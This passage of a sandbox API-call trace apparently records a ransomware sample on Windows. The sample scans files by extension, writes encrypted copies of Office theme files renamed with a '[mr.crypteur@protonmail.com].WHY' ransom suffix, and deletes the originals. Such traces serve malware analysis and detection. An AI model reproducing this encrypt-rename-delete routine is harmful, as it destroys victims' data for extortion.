Effects\\Foundry.eftx") returned 79 [0274.596] lstrlenW (lpString=".zip") returned 4 [0274.596] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.596] lstrlenW (lpString=".rar") returned 4 [0274.596] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.596] lstrlenW (lpString=".bz2") returned 4 [0274.597] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.597] lstrlenW (lpString=".7z") returned 3 [0274.597] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.597] lstrlenW (lpString=".dbf") returned 4 [0274.597] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.597] lstrlenW (lpString=".1cd") returned 4 [0274.597] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.597] lstrlenW (lpString=".jpg") returned 4 [0274.597] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.598] lstrlenW (lpString=".doc") returned 4 [0274.598] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0274.598] lstrlenW (lpString=".docx") returned 5 [0274.598] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0274.598] lstrlenW (lpString=".pdf") returned 4 [0274.598] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0274.598] lstrlenW (lpString=".xls") returned 4 [0274.598] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0274.598] lstrlenW (lpString=".xlsx") returned 5 [0274.598] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0274.598] lstrlenW (lpString=".ppt") returned 4 [0274.598] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0274.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.598] lstrlenW (lpString=".zip") returned 4 [0274.598] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0274.599] lstrlenW (lpString=".rar") returned 4 [0274.599] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0274.599] lstrlenW (lpString=".bz2") returned 4 [0274.599] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0274.599] lstrlenW (lpString=".7z") returned 3 [0274.599] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0274.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.599] lstrlenW (lpString=".dbf") returned 4 [0274.599] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0274.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.599] lstrlenW (lpString=".1cd") returned 4 [0274.599] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0274.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79 [0274.599] lstrlenW (lpString=".jpg") returned 4 [0274.599] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0274.600] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0274.600] lstrlenW (lpString="Horizon.eftx") returned 12 [0274.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0274.639] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=211090) returned 1 [0274.639] CloseHandle (hObject=0x320) returned 1 [0274.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0274.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0274.640] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.641] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0274.641] GetLastError () returned 0x0 [0274.641] ReadFile (in: hFile=0x320, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x33892, lpOverlapped=0x0) returned 1 [0274.842] WriteFile (in: hFile=0x390, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x338a0, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x338a0, lpOverlapped=0x0) returned 1 [0274.932] ReadFile (in: hFile=0x320, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.932] WriteFile (in: hFile=0x390, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.947] SetEndOfFile (hFile=0x390) returned 1 [0274.996] CloseHandle (hObject=0x390) returned 1 [0274.999] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.000] SetEndOfFile (hFile=0x320) returned 1 [0275.262] CloseHandle (hObject=0x320) returned 1 [0275.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0275.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 1 [0275.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.266] lstrlenW (lpString=".doc") returned 4 [0275.266] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.266] lstrlenW (lpString=".docx") returned 5 [0275.267] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.267] lstrlenW (lpString=".pdf") returned 4 [0275.267] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.267] lstrlenW (lpString=".xls") returned 4 [0275.267] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.267] lstrlenW (lpString=".xlsx") returned 5 [0275.267] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.267] lstrlenW (lpString=".ppt") returned 4 [0275.267] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.267] lstrlenW (lpString=".zip") returned 4 [0275.267] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.267] lstrlenW (lpString=".rar") returned 4 [0275.268] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.268] lstrlenW (lpString=".bz2") returned 4 [0275.268] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.268] lstrlenW (lpString=".7z") returned 3 [0275.268] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.268] lstrlenW (lpString=".dbf") returned 4 [0275.268] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.268] lstrlenW (lpString=".1cd") returned 4 [0275.268] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.268] lstrlenW (lpString=".jpg") returned 4 [0275.269] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.269] lstrlenW (lpString=".doc") returned 4 [0275.269] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.269] lstrlenW (lpString=".docx") returned 5 [0275.269] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.269] lstrlenW (lpString=".pdf") returned 4 [0275.269] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.269] lstrlenW (lpString=".xls") returned 4 [0275.269] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.270] lstrlenW (lpString=".xlsx") returned 5 [0275.270] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.270] lstrlenW (lpString=".ppt") returned 4 [0275.270] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.270] lstrlenW (lpString=".zip") returned 4 [0275.270] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.270] lstrlenW (lpString=".rar") returned 4 [0275.270] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.270] lstrlenW (lpString=".bz2") returned 4 [0275.270] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.270] lstrlenW (lpString=".7z") returned 3 [0275.270] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.270] lstrlenW (lpString=".dbf") returned 4 [0275.271] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.271] lstrlenW (lpString=".1cd") returned 4 [0275.271] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79 [0275.271] lstrlenW (lpString=".jpg") returned 4 [0275.271] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.272] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0275.272] lstrlenW (lpString="Module.eftx") returned 11 [0275.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0275.550] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=43357) returned 1 [0275.551] CloseHandle (hObject=0x3a0) returned 1 [0275.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0275.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0275.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0275.621] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.622] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0275.622] GetLastError () returned 0x0 [0275.623] ReadFile (in: hFile=0x3a0, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0xa95d, lpOverlapped=0x0) returned 1 [0275.744] WriteFile (in: hFile=0x164, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xa960, lpOverlapped=0x0) returned 1 [0275.750] ReadFile (in: hFile=0x3a0, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0275.750] WriteFile (in: hFile=0x164, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xea, lpOverlapped=0x0) returned 1 [0275.750] SetEndOfFile (hFile=0x164) returned 1 [0275.751] CloseHandle (hObject=0x164) returned 1 [0275.752] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.752] SetEndOfFile (hFile=0x3a0) returned 1 [0276.406] CloseHandle (hObject=0x3a0) returned 1 [0276.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0276.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 1 [0276.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.413] lstrlenW (lpString=".doc") returned 4 [0276.413] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0276.413] lstrlenW (lpString=".docx") returned 5 [0276.413] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0276.413] lstrlenW (lpString=".pdf") returned 4 [0276.413] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0276.413] lstrlenW (lpString=".xls") returned 4 [0276.413] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0276.413] lstrlenW (lpString=".xlsx") returned 5 [0276.413] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0276.414] lstrlenW (lpString=".ppt") returned 4 [0276.414] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0276.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.414] lstrlenW (lpString=".zip") returned 4 [0276.414] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0276.414] lstrlenW (lpString=".rar") returned 4 [0276.414] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0276.414] lstrlenW (lpString=".bz2") returned 4 [0276.414] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0276.414] lstrlenW (lpString=".7z") returned 3 [0276.414] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0276.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.414] lstrlenW (lpString=".dbf") returned 4 [0276.415] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0276.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.415] lstrlenW (lpString=".1cd") returned 4 [0276.415] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0276.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.415] lstrlenW (lpString=".jpg") returned 4 [0276.415] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0276.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.415] lstrlenW (lpString=".doc") returned 4 [0276.415] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0276.416] lstrlenW (lpString=".docx") returned 5 [0276.416] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0276.416] lstrlenW (lpString=".pdf") returned 4 [0276.416] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0276.416] lstrlenW (lpString=".xls") returned 4 [0276.416] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0276.416] lstrlenW (lpString=".xlsx") returned 5 [0276.416] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0276.416] lstrlenW (lpString=".ppt") returned 4 [0276.416] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0276.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.416] lstrlenW (lpString=".zip") returned 4 [0276.416] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0276.416] lstrlenW (lpString=".rar") returned 4 [0276.417] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0276.417] lstrlenW (lpString=".bz2") returned 4 [0276.417] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0276.417] lstrlenW (lpString=".7z") returned 3 [0276.417] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0276.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.417] lstrlenW (lpString=".dbf") returned 4 [0276.417] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0276.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.417] lstrlenW (lpString=".1cd") returned 4 [0276.417] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0276.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0276.417] lstrlenW (lpString=".jpg") returned 4 [0276.417] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0276.418] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0276.418] lstrlenW (lpString="Origin.eftx") returned 11 [0276.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0276.649] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=40941) returned 1 [0276.649] CloseHandle (hObject=0x3a0) returned 1 [0276.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 0x20 [0276.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0276.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0276.650] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.651] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0276.652] GetLastError () returned 0x0 [0276.652] ReadFile (in: hFile=0x3a0, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x9fed, lpOverlapped=0x0) returned 1 [0277.079] WriteFile (in: hFile=0x3b8, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x9ff0, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x9ff0, lpOverlapped=0x0) returned 1 [0277.084] ReadFile (in: hFile=0x3a0, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0277.085] WriteFile (in: hFile=0x3b8, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xea, lpOverlapped=0x0) returned 1 [0277.085] SetEndOfFile (hFile=0x3b8) returned 1 [0277.085] CloseHandle (hObject=0x3b8) returned 1 [0277.091] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.091] SetEndOfFile (hFile=0x3a0) returned 1 [0277.104] CloseHandle (hObject=0x3a0) returned 1 [0277.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0277.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx")) returned 1 [0277.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.107] lstrlenW (lpString=".doc") returned 4 [0277.107] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.107] lstrlenW (lpString=".docx") returned 5 [0277.107] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.107] lstrlenW (lpString=".pdf") returned 4 [0277.107] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.107] lstrlenW (lpString=".xls") returned 4 [0277.107] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.107] lstrlenW (lpString=".xlsx") returned 5 [0277.107] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.107] lstrlenW (lpString=".ppt") returned 4 [0277.108] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.108] lstrlenW (lpString=".zip") returned 4 [0277.108] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.108] lstrlenW (lpString=".rar") returned 4 [0277.108] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.108] lstrlenW (lpString=".bz2") returned 4 [0277.108] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.108] lstrlenW (lpString=".7z") returned 3 [0277.108] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.108] lstrlenW (lpString=".dbf") returned 4 [0277.109] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx") returned 78 [0277.109] lstrlenW (lpString=".1cd") returned 4 [0277.109] lstrcmpiW 